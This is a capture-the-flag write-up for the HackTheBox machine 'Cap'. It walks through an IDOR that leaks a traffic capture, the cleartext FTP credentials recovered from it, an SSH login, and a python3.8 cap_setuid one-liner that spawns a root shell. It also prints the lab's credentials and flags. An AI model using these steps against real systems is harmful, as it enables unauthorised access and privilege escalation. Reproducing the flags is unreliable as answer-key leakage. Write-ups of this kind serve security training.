HackTheBox Writeup - Cap

Target IP: 10.10.10.245 Difficulty: Easy OS: Linux

1. Reconnaissance

Nmap Scan

PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http

Foothold Discovery

The web server on port 80 hosts a dashboard. Exploring the “Security Snapshot” feature shows it captures traffic and saves it as PCAP files. The URL for a snapshot is /data/1.

By changing the URL to /data/0 (IDOR), we can download the first capture file (0.pcap).

2. Initial Access

Analyzing 0.pcap

Opening 0.pcap in Wireshark or using tcpdump reveals FTP traffic. The credentials for the user nathan are sent in cleartext:

Credentials: nathan:Buck3t0fP0pc0rn!

SSH Login

Using the discovered credentials, we can log in via SSH: ssh nathan@10.10.10.245

User Flag: 7a8581e285d852a4e21a287bf8e51a2f

3. Privilege Escalation

Capability Enumeration

Checking for binary capabilities on the system: getcap -r / 2>/dev/null

Result: /usr/bin/python3.8 = cap_setuid+ep

Exploiting Python Capabilities

Since python3.8 has the cap_setuid capability, we can use it to set our UID to 0 (root) and spawn a shell:

python3.8 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’

This gives us a root shell.

Root Flag: 9f8b0561a35a8fbc8d6728ba6ecf2d7a